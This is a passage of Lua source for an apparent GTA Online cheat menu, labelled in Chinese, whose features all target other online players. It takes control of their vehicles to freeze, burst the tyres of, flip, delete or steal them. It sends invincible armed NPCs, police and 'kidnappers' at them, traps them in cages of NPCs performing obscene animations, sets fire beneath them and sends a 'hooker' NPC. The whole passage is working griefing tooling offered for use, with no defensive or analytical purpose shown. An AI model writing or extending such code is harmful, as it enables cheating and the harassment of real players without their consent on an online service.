            wait(math.random(3000, 15000))
        end
    end)

    GTTG(playerOtherTrolling, "冻结", {}, "", function(on)
        local car = PED.GET_VEHICLE_PED_IS_IN(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        if car ~= 0 then
            request_control_of_entity(car)
            speed = if on then 0.0 else 1000.0
            ENTITY.SET_ENTITY_MAX_SPEED(car, speed)
        end
    end)

    GTAC(playerOtherTrolling, "爆胎", {}, "", function(on)
        local car = PED.GET_VEHICLE_PED_IS_IN(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        if car ~= 0 then
            request_control_of_entity(car)
            for i=0, 7 do
                VEHICLE.SET_VEHICLE_TYRE_BURST(car, i, true, 1000.0)
            end
        end
    end)

    GTAC(playerOtherTrolling, "将载具调头", {}, "", function(on)
        local car = PED.GET_VEHICLE_PED_IS_IN(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        if car ~= 0 then
            request_control_of_entity(car)
            local rot = ENTITY.GET_ENTITY_ROTATION(car, 0)
            local vel = ENTITY.GET_ENTITY_VELOCITY(car)
            ENTITY.SET_ENTITY_ROTATION(car, rot['x'], rot['y'], rot['z']+180, 0, true)
            ENTITY.SET_ENTITY_VELOCITY(car, -vel['x'], -vel['y'], vel['z'])
        end
    end)

    GTAC(playerOtherTrolling, "翻转车辆", {}, "", function(on)
        local car = PED.GET_VEHICLE_PED_IS_IN(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        if car ~= 0 then
            request_control_of_entity(car)
            local rot = ENTITY.GET_ENTITY_ROTATION(car, 0)
            local vel = ENTITY.GET_ENTITY_VELOCITY(car)
            ENTITY.SET_ENTITY_ROTATION(car, rot['x'], rot['y']+180, rot['z'], 0, true)
            ENTITY.SET_ENTITY_VELOCITY(car, -vel['x'], -vel['y'], vel['z'])
        end
    end)

    GTAC(playerOtherTrolling, "关掉引擎", {""}, "", function()
        local vehicle = get_player_veh(pid,true)
        if vehicle then
            VEHICLE.SET_VEHICLE_UNDRIVEABLE(vehicle, true)		
        end
    end)

    GTAC(playerOtherTrolling, "删除载具", {}, "删除此玩家正在驾驶的载具", function()
        deleplayercar(pid)
    end)

    GTAC(playerOtherTrolling, "踢出载具", {}, "", function(toggled)
        kickcar(pid)
    end)

	GTAC(playerOtherTrolling, "变成小恐龙", {""}, "对该玩家载具伪造恐龙模型", function(on_click)
        changemodel(pid)
    end)
	
	GTAC(playerOtherTrolling, "传送载具到我", {""}, "", function(on_click)
        tpcartomv2(ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(), true))
    end)

    GTAC(playerOtherTrolling, "生成墙壁", {}, "在玩家面前放置墙壁,半秒后删除", function ()
        qfmq(pid)
    end)

    GTTG(playerOtherTrolling, "随机升级", {"upgradevehicle"}, "", function(state)
        abcd = state
    while abcd do
        randomupdatcar(pid)
    wait(500)
        end
    end)

    GTTG(playerOtherTrolling, "随机升级2", {"upgradevehicle2"}, "", function(on)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
        local ped = PLAYER.GET_PLAYER_PED(players.user())
        local veh = PED.GET_VEHICLE_PED_IS_IN(p, false) 
        if on then
            menu.trigger_commands("invisibility on")
            menu.trigger_commands("godmode on")
            wait(200)
            menu.trigger_commands("tp"..players.get_name(pid))
            wait(4000)
            if ENTITY.DOES_ENTITY_EXIST(veh) then
                NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
                VEHICLE.SET_VEHICLE_MOD_KIT(veh, 0)
                local getm = VEHICLE.GET_NUM_VEHICLE_MODS(veh)
                for i = 0, 70 do
                    VEHICLE.SET_VEHICLE_MOD(veh, i, getm, -1, false)
    
                end
            else
                util.toast("控制车辆时出错.")
            end
        else
            menu.trigger_commands("tp"..players.get_name(pid))
            menu.trigger_commands("invisibility off")
            menu.trigger_commands("godmode off")
            ENTITY.SET_ENTITY_COORDS(ped, pos.x, pos.y, pos.z, 1, false)
        end
    end)

    GTLP(playerOtherTrolling, "让他以为自己能走", {""}, "假象", function ()
        letcarlagging(pid)
    end)

    glitchVehCmd = GTTG(playerOtherTrolling, "鬼畜载具", {"glitchvehicle"}, "", function(toggle)
        glitchcar(toggle, pid)
    end)

    GTLP(playerOtherTrolling, "快乐的小陀螺", {"beybladev"}, "", function(on)
        carspin(pid)
    end)

    GTAC(playerOtherTrolling, "电磁脉冲炸弹", {"empvehicle"}, "", function(on)
        caremp(pid)
    end)

    local npctrolls_root = GT(playerMain, "NPC恶搞", {""}, "")

	local attacker_trolling = GT(npctrolls_root, "攻击者选项", {}, "")

	ModelList.new(attacker_trolling, "生成攻击者", "", "", attackerList, function (caption, model)
        spawn_attacker(pid, caption, model)
	end, false, false)


	GTAC(attacker_trolling, "克隆玩家（敌人)", {}, "", function()
        spawn_attacker_own(pid)
	end)

	weaponList = WeaponList.new(attacker_trolling, "设置武器", "", "", nil, true)

	GTAC(attacker_trolling, "派遣敌人", {}, "", function()
        spawn_attacker_click(pid)
	end)

	GTluaScript.slider(attacker_trolling, "数量", {}, "",1, 10, 1, 1, function(value)
        spawn_attacker_count(value)
    end)

	GTAC(attacker_trolling, "派遣警车", {}, "", function()
        spawn_police_car(pid)
	end)

	GTTG(attacker_trolling, "无敌攻击者", {}, "",function(toggle)
        send_attacker_god(toggle)
    end)

	GTTG(attacker_trolling, "固定的", {}, "",function(toggle)
        send_attacker_stay(toggle) 
    end)

	GTAC(attacker_trolling, "删除攻击者", {}, "", function()
        attacker_dele()
	end)

    GTLuaScript.list_action(npctrolls_root, "拖走TA的车", {"towcar"}, "被交警蜀黍扣留!!!", tow_options, function(index, value, click_type)
        towcarpro(pid, index, value)
    end)

    GTAC(npctrolls_root, "喵喵炸弹", {"meow"}, "UWU", function(on_click)
        meowbmob(pid)
    end)

    GTAC(npctrolls_root, "召唤马里亚奇乐队", {"mariachiband"}, "召唤一支乐队在玩家附近演奏", function(click_type)
        dispatch_mariachi(pid)
    end)

    GTAC(npctrolls_root, "召唤偷车贼v3.0", {"npcjack"}, "派一个NPC强制窃取玩家载具", function(on_click)
        npc_jack(pid, false)
    end)

    GTLuaScript.list_action(npctrolls_root, "派一个自定义的妓女来", {"customhooker"}, "发送一个可实际使用的自定义妓女", custom_hooker_options, function(index, value, click_type)
        sendsexgirl(pid, index, value)
    end)

    GTLuaScript.list_action(npctrolls_root, "绑架玩家", {"kidnap"}, "将玩家困在NPC的载具中并带走!", kidnap_types, function(index, value)
        kidnapplayer(pid, index,value)
    end)

    GTAC(npctrolls_root, "通知附近的警察逮捕他", {"arrest"}, "告诉附近的警察逮捕该玩家", function(on_click)
        tellpolicetocatch(pid)
    end)

    GTLuaScript.list_action(npctrolls_root, "在车里装满行人", {"fillcar"}, "用附近的行人填充玩家的车", fill_with_options, function(index, value, click_type)
        npcfillthecar(pid, index,value)
    end)


	GTAC(npctrolls_root, "苦力怕小丑", {"creeper"}, "生成一个自曝小丑跑向玩家并自爆!", function()
		creep(pid)
	end, nil, nil, COMMANDPERM_RUDE)

	GTLP(npctrolls_root, "派遣劫匪", {}, "", function()
        --sendmugger_npc(pid)
        if on_toggle then
        menu.trigger_commands("mugloop".. PLAYER.GET_PLAYER_NAME(PlayerID))
        else
        menu.trigger_commands("mugloop".. PLAYER.GET_PLAYER_NAME(PlayerID))
        end
	end)

lz = GT(playerMain, "笼子恶搞", {""}, "") 

local wall = {invis = false}
local set = {alert = true}
cage_table = {}
local pedset = {mdl = 'u_m_m_jesus_01'}
local pedca =  GTLP(lz, 'Ped笼子', {'PCAGE'}, '将玩家困在Ped笼子里', function ()
local targets = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
local tar1 = ENTITY.GET_ENTITY_COORDS(targets, true)
local pname = PLAYER.GET_PLAYER_NAME(pid)
if not cage_table[pid] then
    local peds = {}
    local pedhash = util.joaat(pedset.mdl)
    local spec = GTluaScript.get_value(GTluaScript.ref_by_rel_path(GTluaScript.player_root(pid), "Spectate>Nuts Method"))
    Delcar(targets, spec, pid)

    local ped_tab = {'p1', 'p2', 'p3', 'p4', 'p5', 'p6', 'p7', 'p8'}
    for _, spawned_ped in ipairs(ped_tab) do
        spawned_ped = Pedspawn(pedhash, tar1)
        table.insert(peds,  spawned_ped)
    end

SetPedCoor(peds[1], tar1.x, tar1.y - 0.5, tar1.z - 1.0)
SetPedCoor(peds[2], tar1.x - 0.5, tar1.y - 0.5, tar1.z - 1.0)
SetPedCoor(peds[3], tar1.x - 0.5, tar1.y, tar1.z - 1.0)
SetPedCoor(peds[4], tar1.x - 0.5, tar1.y + 0.5, tar1.z - 1.0)
SetPedCoor(peds[5], tar1.x, tar1.y + 0.5, tar1.z - 1.0)
SetPedCoor(peds[6], tar1.x + 0.5, tar1.y + 0.5, tar1.z - 1.0)
SetPedCoor(peds[7], tar1.x + 0.5, tar1.y, tar1.z - 1.0)
SetPedCoor(peds[8], tar1.x + 0.5, tar1.y - 0.5, tar1.z - 1.0)

if wall.invis then
    for index, ent in ipairs(peds) do
        ENTITY.SET_ENTITY_VISIBLE(ent, false, 0)
    end
end


if pedhash == util.joaat('IG_LesterCrest')  then
    Teabagtime(peds[1], peds[2], peds[3], peds[4], peds[5], peds[6], peds[7], peds[8])
elseif pedhash == util.joaat('player_two') then
    Trevortime(peds)
elseif pedhash == util.joaat('u_m_m_jesus_01') then
    Jesuslovesyou(peds)  
elseif pedhash ~= util.joaat('IG_LesterCrest') or util.joaat('player_two') then
if GENERIC_AUDIO.DOES_CONTEXT_EXIST_FOR_THIS_PED(peds[1], 'GENERIC_FUCK_YOU') ==true
then Fuckyou(peds)

elseif GENERIC_AUDIO.DOES_CONTEXT_EXIST_FOR_THIS_PED(peds[1], 'Provoke_Trespass')
then Provoke(peds)

elseif GENERIC_AUDIO.DOES_CONTEXT_EXIST_FOR_THIS_PED(peds[1], 'Generic_Insult_High')
then Insulthigh(peds)

elseif GENERIC_AUDIO.DOES_CONTEXT_EXIST_FOR_THIS_PED(peds[1], 'GENERIC_WAR_CRY')
then Warcry(peds)
else
end
end

      -----------Anim-------------------------
    Streamanim('rcmpaparazzo_2')
    Streamanim('mp_player_int_upperfinger')
    Streamanim('misscarsteal2peeing')
    Streamanim('mp_player_int_upperpeace_sign')
    local ped_anim = {peds[2], peds[3], peds[4], peds[5], peds[6], peds[7], peds[8]}
    for _, Pedanim in ipairs(ped_anim) do
        if pedhash == util.joaat('player_two') then
            Runanim(Pedanim, 'misscarsteal2peeing','peeing_loop')
           local tre = PED.GET_PED_BONE_INDEX(Pedanim, 0x2e28)
            Streamptfx('core')
           GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("ent_amb_peeing", Pedanim, 0, 0, 0, -90, 0, 0, tre, 2, false, false, false)
        elseif pedhash == util.joaat('u_m_m_jesus_01') then
            Runanim(peds[1], 'mp_player_int_upperpeace_sign', 'mp_player_int_peace_sign')
            Runanim(Pedanim, 'mp_player_int_upperpeace_sign', 'mp_player_int_peace_sign')
        else
            Runanim(Pedanim, 'mp_player_int_upperfinger', 'mp_player_int_finger_02_fp')
            Runanim(peds[1], 'rcmpaparazzo_2', 'shag_loop_a')
        end

end


for _, Pedm in ipairs(peds) do
    PFP(Pedm, targets)
end
cage_table[pid] = peds
end

while cage_table[pid] do
IPM(targets, tar1, pname, cage_table, pid)
end

if not players.exists(pid) then
    if set.alert then
        util.toast('你正在让他们怒不可遏')
    end
    util.stop_thread()

    cage_table[pid] = nil
    end
end)

local PedClist = GT(lz, '选择Ped笼子', {}, '更换Ped笼子样式')

GTAC(lz, '解除Ped笼', {'FreePedcage'}, '释放该玩家', function ()
    if cage_table[pid] then
        DelEnt(cage_table[pid])
        menu.set_value(pedca, false)
        cage_table[pid] = false
        else
             if set.alert then
                util.toast('未找到Ped笼子')
             end
    end
end)

pcages = {}
rcage_table = {}
CombineTables(AMC, AfC, CSP, GM, Mpp, MSF, MCM, SMC, Ssf, Ssm, Dlcp, pcages)
local rpedca =  GTLP(lz, '随机Ped笼', {'RAMDOMPCAGE'}, '将玩家困在一个随机的Ped笼子里', function ()
  local targets = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
  local tar1 = ENTITY.GET_ENTITY_COORDS(targets, true)
  local pname = PLAYER.GET_PLAYER_NAME(pid)
  if not rcage_table[pid] then
      local rpeds = {}
      local rpedind = math.random(1, #pcages)
      local rpedset = pcages[rpedind]
      local pedhash = util.joaat(rpedset)
      local spec = menu.get_value(menu.ref_by_rel_path(menu.player_root(pid), "Spectate>Nuts Method"))
      Delcar(targets, spec, pid)

      local ped_tab = {'p1', 'p2', 'p3', 'p4', 'p5', 'p6', 'p7', 'p8'}
    for _, spawned_ped in ipairs(ped_tab) do
        spawned_ped = Pedspawn(pedhash, tar1)
        table.insert(rpeds,  spawned_ped)
    end




    SetPedCoor(rpeds[1], tar1.x, tar1.y - 0.5, tar1.z - 1.0)
    SetPedCoor(rpeds[2], tar1.x - 0.5, tar1.y - 0.5, tar1.z - 1.0)
    SetPedCoor(rpeds[3], tar1.x - 0.5, tar1.y, tar1.z - 1.0)
    SetPedCoor(rpeds[4], tar1.x - 0.5, tar1.y + 0.5, tar1.z - 1.0)
    SetPedCoor(rpeds[5], tar1.x, tar1.y + 0.5, tar1.z - 1.0)
    SetPedCoor(rpeds[6], tar1.x + 0.5, tar1.y + 0.5, tar1.z - 1.0)
    SetPedCoor(rpeds[7], tar1.x + 0.5, tar1.y, tar1.z - 1.0)
    SetPedCoor(rpeds[8], tar1.x + 0.5, tar1.y - 0.5, tar1.z - 1.0)

    if wall.invis then
        for index, ent in ipairs(rpeds) do
            ENTITY.SET_ENTITY_VISIBLE(ent, false, 0)
        end
    end


  if pedhash == util.joaat('IG_LesterCrest')  then
    Teabagtime(rpeds[1], rpeds[2], rpeds[3], rpeds[4], rpeds[5], rpeds[6], rpeds[7], rpeds[8])
  elseif pedhash == util.joaat('player_two') then
      Trevortime(rpeds)
  elseif pedhash == util.joaat('u_m_m_jesus_01') then
      Jesuslovesyou(rpeds)  
  elseif pedhash ~= util.joaat('IG_LesterCrest') or util.joaat('player_two') then
  if GENERIC_AUDIO.DOES_CONTEXT_EXIST_FOR_THIS_PED(rpeds[1], 'GENERIC_FUCK_YOU') ==true
  then Fuckyou(rpeds)

  elseif GENERIC_AUDIO.DOES_CONTEXT_EXIST_FOR_THIS_PED(rpeds[1], 'Provoke_Trespass')
  then Provoke(rpeds)

  elseif GENERIC_AUDIO.DOES_CONTEXT_EXIST_FOR_THIS_PED(rpeds[1], 'Generic_Insult_High')
  then Insulthigh(rpeds)

  elseif GENERIC_AUDIO.DOES_CONTEXT_EXIST_FOR_THIS_PED(rpeds[1], 'GENERIC_WAR_CRY')
  then Warcry(rpeds)
  else
  end
  end

        -----------Anim-------------------------
      Streamanim('rcmpaparazzo_2')
      Streamanim('mp_player_int_upperfinger')
      Streamanim('misscarsteal2peeing')
      Streamanim('mp_player_int_upperpeace_sign')
      local ped_anim = {rpeds[2], rpeds[3], rpeds[4], rpeds[5], rpeds[6], rpeds[7], rpeds[8]}
      for _, Pedanim in ipairs(ped_anim) do
          if pedhash == util.joaat('player_two') then
              Runanim(Pedanim, 'misscarsteal2peeing','peeing_loop')
             local tre = PED.GET_PED_BONE_INDEX(Pedanim, 0x2e28)
              Streamptfx('core')
             --credits to saltyscript for gfx part
             GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE("ent_amb_peeing", Pedanim, 0, 0, 0, -90, 0, 0, tre, 2, false, false, false)
          elseif pedhash == util.joaat('u_m_m_jesus_01') then
              Runanim(rpeds[1], 'mp_player_int_upperpeace_sign', 'mp_player_int_peace_sign')
              Runanim(Pedanim, 'mp_player_int_upperpeace_sign', 'mp_player_int_peace_sign')
          else
              Runanim(Pedanim, 'mp_player_int_upperfinger', 'mp_player_int_finger_02_fp')
              Runanim(rpeds[1], 'rcmpaparazzo_2', 'shag_loop_a')
          end

  end


  for _, Pedm in ipairs(rpeds) do
      PFP(Pedm, targets)
  end

  rcage_table[pid] = rpeds
  end

 while rcage_table[pid] do
  IPM(targets, tar1, pname, rcage_table, pid)
 end

  if not players.exists(pid) then

    if set.alert then
        util.toast('你正在让他们怒不可遏')
    end
    util.stop_thread()

    rcage_table[pid] = nil
    end
end)

GTAC(lz, '解除随机Ped笼', {'FreeRPedcage'}, '释放该玩家', function ()
      if rcage_table[pid] then
          DelEnt(rcage_table[pid])
          menu.set_value(rpedca, false)
          rcage_table[pid] = false
          else
               if set.alert then
                  util.toast('未找到Ped笼子')
               end
      end
  end)

  obj_table = {}
  local objset = {mdl = 'prop_mineshaft_door'}
  local objca = GTLP(lz, '物体笼子', {'ObjCage'}, '将玩家困在物体笼子里', function ()
  local targets = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
  local tar1 = ENTITY.GET_ENTITY_COORDS(targets, true)
  local pname = PLAYER.GET_PLAYER_NAME(pid)

  if not obj_table[pid] then
      local objs = {}

      local spec = GTluaScript.get_value(menu.ref_by_rel_path(menu.player_root(pid), "Spectate>Nuts Method"))
      Delcar(targets, spec, pid)
      
local hsel = util.joaat(objset.mdl)
      Streament(hsel)
      local obj_tab = {'o1', 'o2', 'o3', 'o4', 'o5', 'o6', 'o7', 'o8'}
      for _, spawned_obj in ipairs(obj_tab) do
          spawned_obj =  ObjFrezSpawn(hsel, tar1)
          table.insert(objs,  spawned_obj)
      end
      obj_table[pid] = objs

      SetObjCo(objs[1], tar1.x, tar1.y - 0.5, tar1.z - 1.0)
      SetObjCo(objs[2], tar1.x - 0.5, tar1.y - 0.5, tar1.z - 1.0)
      SetObjCo(objs[3], tar1.x - 0.5, tar1.y, tar1.z - 1.0)
      SetObjCo(objs[4], tar1.x - 0.5, tar1.y + 0.5, tar1.z - 1.0)
      SetObjCo(objs[5], tar1.x, tar1.y + 0.5, tar1.z - 1.0)
      SetObjCo(objs[6], tar1.x + 0.5, tar1.y + 0.5, tar1.z - 1.0)
      SetObjCo(objs[7], tar1.x + 0.5, tar1.y, tar1.z - 1.0)
      SetObjCo(objs[8], tar1.x + 0.5, tar1.y - 0.5, tar1.z - 1.0)

      ENTITY.SET_ENTITY_ROTATION(objs[1], 0, 0, 180, 1, true)
      ENTITY.SET_ENTITY_ROTATION(objs[2], 0, 0, 135, 1, true)
      ENTITY.SET_ENTITY_ROTATION(objs[3], 0, 0, 90, 1, true)
      ENTITY.SET_ENTITY_ROTATION(objs[4], 0, 0, 45, 1, true)
      ENTITY.SET_ENTITY_ROTATION(objs[6], 0, 0, 315, 1, true)
      ENTITY.SET_ENTITY_ROTATION(objs[7], 0, 0, 270, 1, true)
      ENTITY.SET_ENTITY_ROTATION(objs[8], 0, 0, 225, 1, true)

      if wall.invis then
        for index, ent in ipairs(objs) do
            ENTITY.SET_ENTITY_VISIBLE(ent, false, 0)
        end
    end

      for _, horn in ipairs(objs) do
          AUDIO.PLAY_SOUND_FROM_ENTITY(-1, 'Alarm_Interior', horn, 'DLC_H3_FM_FIB_Raid_Sounds', 0, 0)
      end

  end
while obj_table[pid] do
  IPM(targets, tar1, pname, obj_table, pid)
end

if not players.exists(pid) then

  if set.alert then
      util.toast('你正在让他们怒不可遏')
  end
  util.stop_thread()

  obj_table[pid] = nil
end

end)

local ObjSlist = GT(lz, '更改物体笼子样式', {}, '更改物体样式')

GTAC(lz, '解除物体笼子', {'FreeObjcage'}, '释放该玩家', function ()
  if obj_table[pid] then
      DelEnt(obj_table[pid])
      GTluaScript.set_value(objca, false)
      Stopsound()
      obj_table[pid] = false
      else
          if set.alert then
              util.toast('未找到物体笼子')    
          end
  end

end)

GTLuaScript.list_action(PedClist, '特殊NPC', {''}, '更改Ped样式为自定义NPC', SPClist, function(pedsel)
    pedset.mdl = SPC[pedsel]
end)

GTLuaScript.list_action(PedClist, '游戏中的女性NPC', {''}, '更改Ped样式为游戏中的女性NPC', AfClist, function(pedsel)
    pedset.mdl = AfC[pedsel]
end)

GTLuaScript.list_action(PedClist, '游戏中的男性NPC', {''}, '更改Ped样式为游戏中的男性NPC', AMClist, function(pedsel)
    pedset.mdl = AMC[pedsel]
end)

GTLuaScript.list_action(PedClist, '过场动画NPC', {''}, '更改Ped样式为游戏中的过场动画NPC(非必要不使用)', Csplist, function(pedsel)
    pedset.mdl = CSP[pedsel]
end)

GTLuaScript.list_action(PedClist, '帮派成员', {''}, '更改Ped样式为游戏中的帮派成员', GMlist, function(pedsel)
    pedset.mdl = GM[pedsel]
end)

GTLuaScript.list_action(PedClist, '在线模式中的NPC', {''}, '更改Ped样式为在线模式中的NPC', Mpplist, function(pedsel)
    pedset.mdl = Mpp[pedsel]
end)

GTLuaScript.list_action(PedClist, '在线模式过场动画中的女性NPC', {''}, '更改Ped样式为在线模式过场动画中的女性NPC', MSFlist, function(pedsel)
    pedset.mdl = MSF[pedsel]
end)

GTLuaScript.list_action(PedClist, '在线模式过场动画中的男性NPC', {''}, '更改Ped样式为在线模式过场动画中的男性NPC', MCMlist, function(pedsel)
    pedset.mdl = MCM[pedsel]
end)

GTLuaScript.list_action(PedClist, '故事模式角色', {''}, '更改Ped样式为故事模式角色', SMClist, function(pedsel)
    pedset.mdl = SMC[pedsel]
end)

GTLuaScript.list_action(PedClist, '故事模式过场动画女性NPC', {''}, '更改Ped样式为故事模式过场动画女性NPC', Ssflist, function(pedsel)
    pedset.mdl = Ssf[pedsel]
end)

GTLuaScript.list_action(PedClist, '故事模式过场动画男性NPC', {''}, '更改Ped样式为故事模式过场动画男性NPC', Ssmlist, function(pedsel)
    pedset.mdl = Ssm[pedsel]
end)

GTLuaScript.list_action(PedClist, 'DLC中的NPC', {''}, '更改Ped样式为DLC中的NPC', Dlcplist, function(pedsel)
    pedset.mdl = Dlcp[pedsel]
end)

GTLuaScript.list_action(ObjSlist, '路牌', {''}, '更改物体样式为路牌', Siglist, function(objsel)
    objset.mdl = Sigha[objsel]
end)

GTLuaScript.list_action(ObjSlist, '门', {''}, '更改物体样式为门', Dolist, function(objsel)
    objset.mdl = Doha[objsel]
end)

GTLuaScript.list_action(ObjSlist, '室内道具', {''}, '更改物体样式为室内道具', Interlist, function(objsel)
    objset.mdl = Intob[objsel]
end)

GTLuaScript.list_action(ObjSlist, '外部道具', {''}, '更改物体样式为外部道具', Extlist, function(objsel)
    objset.mdl = Extob[objsel]
end)

    local cageas = GT(lz, "困住玩家", {}, "已被大部分菜单阻挡")
    GTAC(cageas, "电击笼子", {"electriccage"}, "你要当索尔还是美国队长？", function()
        local number_of_cages = 6
        local elec_box = util.joaat("prop_elecbox_12")
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        pos.z -= 0.5
        request_model(elec_box)
        local temp_v3 = v3.new(0, 0, 0)
        for i = 1, number_of_cages do
            local angle = (i / number_of_cages) * 360
            temp_v3.z = angle
            local obj_pos = temp_v3:toDir()
            obj_pos:mul(2.5)
            obj_pos:add(pos)
            for offs_z = 1, 5 do
                local electric_cage = entities.create_object(elec_box, obj_pos)
                spawned_objects[#spawned_objects + 1] = electric_cage
                ENTITY.SET_ENTITY_ROTATION(electric_cage, 90.0, 0.0, angle, 2, 0)
                obj_pos.z += 0.75
                ENTITY.FREEZE_ENTITY_POSITION(electric_cage, true)
            end
        end
    end)

    GTAC(cageas, "集装箱笼子", {"containercage"}, "", function()
        local container_hash = util.joaat("prop_container_ld_pu")
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        request_model(container_hash)
        pos.z -= 1
        local container = entities.create_object(container_hash, pos, 0)
        spawned_objects[#spawned_objects + 1] = container
        ENTITY.FREEZE_ENTITY_POSITION(container, true)
    end)

    GTAC(cageas, "载具笼子", {"vehiclecage"}, "", function()
        local container_hash = util.joaat("boxville3")
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        request_model(container_hash)
        local container = entities.create_vehicle(container_hash, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(ped, 0.0, 2.0, 0.0), ENTITY.GET_ENTITY_HEADING(ped))
        spawned_objects[#spawned_objects + 1] = container
        ENTITY.SET_ENTITY_VISIBLE(container, false)
        ENTITY.FREEZE_ENTITY_POSITION(container, true)
    end)

    GTAC(cageas, "删除所有生成的笼子", {"clearcages"}, "", function()
        local entitycount = 0
        for i, object in ipairs(spawned_objects) do
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(object, false, false)
            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(object)
            entities.delete_by_handle(object)
            spawned_objects[i] = nil
            entitycount += 1
        end
        util.toast("已经删除了 " .. entitycount .. " 个生成的笼子")
    end)

GTAC(lz, "慢慢烧死他们", {}, "", function()
	local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
	local hash = util.joaat("prop_beach_fire")
	STREAMING.REQUEST_MODEL(hash)

	while not STREAMING.HAS_MODEL_LOADED(hash) do
		STREAMING.REQUEST_MODEL(hash)	
		wait()
	end
	local cage_object = OBJECT.CREATE_OBJECT(hash, pos.x, pos.y, pos.z - 1.75, true, true, false) -- front

	cages[#cages + 1] = cage_object

	local rot  = ENTITY.GET_ENTITY_ROTATION(cage_object)
	rot.y = 90
end)

	GTTG(lz, "房笼子", {"foodtruckcage"}, "", function()
		local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
		local hash = 4022605402
		STREAMING.REQUEST_MODEL(hash)

		while not STREAMING.HAS_MODEL_LOADED(hash) do		
			wait()
		end
		local cage_object = OBJECT.CREATE_OBJECT(hash, pos.x, pos.y, pos.z - 1, true, true, false)
		cages[#cages + 1] = cage_object
		wait(15)

		STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(cage_object)
        menu.trigger_commands("disarm" .. players.get_name(pid))
	end)

GTTG(lz, "狗笼", {"doghousecage"}, "", function()
	local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
	local hash = -1782242710
	STREAMING.REQUEST_MODEL(hash)
	
	while not STREAMING.HAS_MODEL_LOADED(hash) do		
		wait()
	end
	local cage_object = OBJECT.CREATE_OBJECT(hash, pos.x, pos.y, pos.z, true, true, false)
	cages[#cages + 1] = cage_object
	wait(15)

	STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(cage_object)
    menu.trigger_commands("disarm" .. players.get_name(pid))
end)

    GTAC(lz, "隐形笼子", {""}, "", function()
        local container_hash = util.joaat("benson")
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(player_id)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        request_model(container_hash)
        local container = entities.create_vehicle(container_hash, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(ped, 0.0, 2.0, 0.0), ENTITY.GET_ENTITY_HEADING(ped))
        spawned_objects[#spawned_objects + 1] = container
        ENTITY.SET_ENTITY_VISIBLE(container, false)
        ENTITY.FREEZE_ENTITY_POSITION(container, true)
    end)
    GTAC(lz, "隐形笼子2", {""}, "", function(cl)
        local number_of_cages = 10
        local ladder_hash = util.joaat("prop_towercrane_02el2")
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(player_id)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        pos.z -= 0.5
        request_model(ladder_hash)
        
        if TASK.IS_PED_STILL(ped) then
            util.toast("玩家很安静")
        return end
        local temp_v3 = v3.new(0, 0, 0)
        for i = 1, number_of_cages do
            local angle = (i / number_of_cages) * 360
            temp_v3.z = angle
            local obj_pos = temp_v3:toDir()
            obj_pos:mul(0.25)
            obj_pos:add(pos)
            local ladder = entities.create_object(ladder_hash, obj_pos)
            ladder_objects[#ladder_objects + 1] = ladder
            ENTITY.SET_ENTITY_VISIBLE(ladder, false)
            ENTITY.SET_ENTITY_ROTATION(ladder, 0.0, 0.0, angle, 2, 0)
            ENTITY.FREEZE_ENTITY_POSITION(ladder, true)
        end
        wait(2500)
        for i, object in ipairs(ladder_objects) do
            entities.delete_by_handle(object)
        end
    end)
    GTAC(lz,"载具笼子", {}, "", function()
        veh_to_attach = 1
		V3 = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
		if table_kidnap == nil then
			table_kidnap = {}
		end
        hashs = util.joaat("stockade")
        ped_hash = util.joaat("MP_M_Cocaine_01")
        if STREAMING.IS_MODEL_A_VEHICLE(hashs) then
            STREAMING.REQUEST_MODEL(hashs)
            while not STREAMING.HAS_MODEL_LOADED(hashs) do
                wait()
            end
            coords_ped = ENTITY.GET_ENTITY_COORDS(V3, true)
            local aab = 
			{
				x = -5784.258301,
				y = -8289.385742,
				z = -136.411270
			}
            ENTITY.SET_ENTITY_VISIBLE(ped_to_kidnap, false)
            ENTITY.FREEZE_ENTITY_POSITION(ped_to_kidnap, true)
            table_kidnap[veh_to_attach] = entities.create_vehicle(hashs, ENTITY.GET_ENTITY_COORDS(V3, true),
            CAM.GET_FINAL_RENDERED_CAM_ROT(0).z)
            while not STREAMING.HAS_MODEL_LOADED(ped_hash) do
                STREAMING.REQUEST_MODEL(ped_hash)
                wait()
            end
            ped_to_kidnap = entities.create_ped(28, ped_hash, aab, CAM.GET_FINAL_RENDERED_CAM_ROT(2).z)
            ped_to_drive = entities.create_ped(28, ped_hash, aab, CAM.GET_FINAL_RENDERED_CAM_ROT(2).z)

